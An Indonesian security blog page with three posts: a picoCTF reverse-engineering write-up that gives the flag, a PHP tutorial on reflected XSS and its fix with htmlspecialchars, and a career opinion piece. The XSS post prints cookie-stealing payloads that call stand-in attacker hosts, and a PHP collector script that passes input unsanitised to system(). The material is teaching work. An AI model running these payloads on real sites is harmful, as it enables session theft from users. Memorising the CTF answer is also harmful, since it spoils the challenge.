Pengikut

Rabu, 26 Februari 2025

PicoCTF(3) - keygenme.py (mendapat full version) - Reverse Engineering


 

1. Pengenalan


Link mode CTF (login dulu): DISINI

Langsung download file (py) nya: DISINI

Ok, kalau sebelumnya kita di CTF-RST itu steganography dan forensik. Kini saya akan membahas tema reverse engineering (rekayasa kode balik), yang artinya kita merekayasa suatu script agar melakukan apa yang kita mau. Hal ini wajib banget karena kalau mau jadi cyber security, ya kalian harus bisa coding kalau mau gak mau.

 Jadi kini kita lebih berhadapan pada kode, di sini saya memecahkan level CTF ini dengan menganalisa script yang diberikan. Agar kalian bisa cepat memahami pembahasan ini kalian harus sudah paham akan dasar-dasar python dan beberapa library (untuk library, sebenarnya bisa kalian terawang sendiri).


2. Pemetaan algoritma dalam script


Aduh jujur kalau membahas seluruh kode dalam script nya panjang banget. Tapi saya sarankan kalian baca dan pahami algoritma dalam script ini, siapa tahu berguna kan. Kalau kalian males, coba denger lagu BLUE YUNGKAI sambil baca ini script biar berasa lagi baca kisah cinta, wkwkwk.



Jadi bayangin aja kita punya aplikasi python yang mengarahkan pada alat tentang tata letak bintang galaksi, kita disini bertujuan untuk mendapat full version nya karena script ini bersifat trial version jadi gak lengkap karena bintang galaksi yang kita cari bernama "SAG-A" atau "Sagitarius-A" itu gak ada. dan katanya kita harus di galaksi itu untuk mendapat lisensi agar mendapat full version nya. Anggap aja dia sedang berbohong (pembohong publik 😹). 

saya bahas opsi "abc" nya aja deh. kalau "a" itu buat kita mengetahui tata letak bintang dan radiusnya yang berada di daftar dictionary dalam script ini. Opsi "b" itu terkunci karena kita harus full version dulu. opsi "c" untuk memasukkan kunci lisensi untuk mendapat script full version nya.



Sekilas mungkin hanya biasa saja, tapi jika lu udah baca semua source codenya dari awal sampai akhir. Pasti lu paham bahwa ternyata kata "x" delapan kali di key license yang merupakan kode unik yang harus dicari dan username "PRITCHARD" dijadiin literal biner. Karena ini akan digunakan untuk di gunakan dengan source code yang terletak di akhir source code dengan nama variable "full_version".



 Di gambar ini sebenarnya yang perlu diperhatiin yang variabel full_version nya aja. Karena yang dibawahnya itu saya yang lagi decrypt variable full_version nya tapi gagal. Itulah kenapa, saya memutuskan untuk mencari kunci lisensinya.


EA, kepanjangan ya! wkwkwk. singkatnya ini program untuk mengecek input kita agar valid. Nah, si program ini menggunakan username kita yang sudah di jadikan literal binary dan di ubah ke suatu proses cryptografi dengan format sha256. Ada urutannya juga tuh, "45362718". Otomatis kita bisa pakai dong buat nyari kode uniknya.


Nah udah saya modif tuh, biar bisa print setiap urutan dan flagnya. tinggal kita run deh.


Sip kita sudah dapat full version nya, tapi ternyata bintang "SAG-A" yang kita cari gak ada di full version guys :(. Jadi mana flag nya? flagnya adalah kunci lisensi yang kita gunakan untuk mendapat full versionnya.

flag: picoCTF{1n_7h3_|<3y_of_54ef6292}

catatan: flag ini tidak terjamin benar di picoCTF nya, bisa jadi telah dirubah agar tidak sama oleh developernya. 

Sekian

Sabtu, 15 Februari 2025

Vuln Code VS Secure Code -- PHP (1) Sanitazing input


1. Pendahuluan


"Menemukan kerentanan itu susah, tapi semua itu berubah setelah saya mengenal sedikit akan PHP"

Ya, dari gambar di atas mungkin kalian yang pernah coding PHP pasti paham lah. Gimana rasanya belajar bahasa pemrograman yang merupakan campuran dari bahasa pemograman C yang merupakan bahasa text to binary dan Bash scripting yang biasa digunakan pada sistem linux/unix berkedok web server. Sampai saya pikir, apa saya pakai bahasa python aja kali ya buat web dengan framework Flask atau Django, wkwk.

Saya sudah membuat repositori github berisi kode yang diperlukan dalam  pembahasan ini: DISINI


2. Apa itu PHP?


Jadi PHP itu apa sih? Singkatan dari Hypertext Preprocessor, merupakan bahasa yang bisa dibilang berada di tengah-tengah server, client, dan sistem. Jadi bisa integrasi lebih luas lah. Bahasa ini dibuat untuk membantu kekurangan HTML yang lebih mengarah ke tampilan dan hanya bisa membantu dari tag input dan JS yang di mana, scriptnya masih bisa dibaca sehingga bisa berbahaya kalau dijadikan back end penuh.

Dari namanya bisa kita simpulkan kalau PHP itu kayak prosesor, yang mengatur proses integrasi dalam suatu website dan itulah kenapa cangkupan PHP lebih luas seperti bisa ke server seperti SQL untuk mengakses database, ke client seperti menampilkan suatu text, dan ke sistem yang bisa mengeksekusi suatu command sistem dan memunculkan hasilnya ke user.

Dari informasi yang gw dapet, PHP ini ada 2 metode untuk interaksi user dan server. POST dan GET, kalau POST itu kayak mengirim paket atau permintaan dan tidak memengaruhi URL kita. Kalau GET itu mendapat permintaan dari user sehingga memengaruhi URL dan biasanya berupa "index.php?input=blablabla".

3. Vuln Code


Kita bahas dulu nih bagian Vuln codenya

$TEXT = $_GET['text'];

jadi ada dalam versi vulnerable dan securenya sama-sama menggunakan parameter "text" dengan metode GET.  Tapi keduanya memiliki cara berbeda dalam menangani masukan dari user.

Kalau kalian lihat kode di atas, itu parameter text nya tidak disanitasi dengan benar. Script menerima masukan apapun jenisnya dari user yang bisa mengakibatkan XSS vulnerability.

Tampilan web dari Vuln Code dan Secure code (secara tampilan):



Coba kita injeksi input dengan: "<script>window.location='http://linkmalware.com';</script>"
Ini mungkin tidak se berbahaya XSS stored yang tersimpan dan bisa mengakibatkan deface. Tapi bisa digunakan penyerang untuk kegiatan phising seperti

<script>document.location='http://attacker.com/steal?cookie=' + document.cookie</script>

yang bisa membuat user yang memasukkan kode ini atau ke url nya secara langsung mengirim sesi cookie ke penyerang, kalian gak mau kan website dinamis PHP kalian dibuat phising?.

Contoh script untuk phising (hanya contoh saja! jangan dipakai hal yang tidak etis!):


<?php
        $COOKIE = $_GET['steal'];
        if ($COOKIE == ''){
                echo "SHHH, use '?steal='";
        }
        else {
                system("echo '$COOKIE' >> steal.txt");
        }
?>

payload: <script>document.location = 'http://IP/steal.php?steal=' + document.cookie</script>
URL: http://IPWEB/vuln.php?text=<script>document.location = 'http://IP/steal.php?steal=' + document.cookie</script>

Hasil dari injeksi di file steal.txt: 



Nah itulah salah satu bahayanya, jadi kerentanan kita dipakai untuk penipuan dan pencurian sesi cookie yang bisa berdampak buruk bagi pengguna web kita.

4. Secure Code

Nah jadi gimana cara mengamankannya? kita pakai:


$TEXT = htmlspecialchars($_GET['text'], ENT_QUOTES, 'UTF-8');
penjelasan: 
1. htmlspecialchars --> untuk merubah input tidak menjadi kode apapun selain html
2. ENT_QUOTES --> untuk merubah unsur quotes '/" menjadi kata lain
3. UTF-8 --> menunjukan karakter encoding untuk mendukung bahasa dan simbol

Hasil dari Secure code:



Nah jadinya gak vuln XSS tuh, karena javascriptnya tidak tereksekusi.
Sekian.

Rabu, 12 Februari 2025

Ingin menjadi hacker (cyber security) antusias?, jangan ngimpi kalau masih berpikir seperti ini (YappingTeori)

 


Kamu ingin menjadi hacker seperti yang ada di film atau editan yang lewat di konten shorts?, dan kalian pengen jadi seperti itu?. Mungkin lebih ke arah karir atau ikutan saja mungkin kalian pernah atau sedang mengalami ini, jika kalian hanya sekedar ikut-ikut saja kalian bisa skip postingan ini tapi kalau kalian ingin lebih mendalam akan karir untuk menjadi hacker atau cyber security kalian tidak boleh berpikir seperti ini dalam proses karir kalian atau singkatnya, menjadikan pemikiran ini untuk dipakai karir seterusnya:

1. Punya Kali Linux == Hacker --> False


Ya sebenarnya kita gak perlu Kali linux untuk hacking atau kegiatan cyber security lainnya, cukup terminal dan tool yang dibutuhkan saja sudah cukup. Jadi selama ini kita yang diajari Kali linux saat pertama kali kursus/belajar cyber security gimana? Kali linux itu hanyalah satu paket dari seluruh tool untuk hacking agar memudahkan proses pelatihan kita dengan begitu kita gak perlu setup tool yang kita butuhkan.

2. Hacker == Powerful --> False


Gak semua hacker mau itu jahat atau baik adalah yang terkuat di segala bidang pengetahuan, tanamkan ideologi bahwa tujuan kita adalah untuk membantu keamanan dan bukan untuk meraih kekuasaan atau kendali atas suatu hal yang bukan milik kita.

3. Github == OnlyForHacker --> False


Ya, Github itu bukan untuk hacker saja. Banyak developer dari berbagai sisi seperti web, AI, desain, dan lainnya yang share hasil coding mereka disini. Jadi bukan hanya untuk tool para hacker saja.

Singkatnya kalau kamu pengen jadi cyber security atau hacker baik, jangan pernah berniatan buruk sedikitpun, jangan tergantung pada tool otomatis saja dan yang terpenting ingat bahwa:

"Vulnerability is never gone until the end of the world"

Sekian.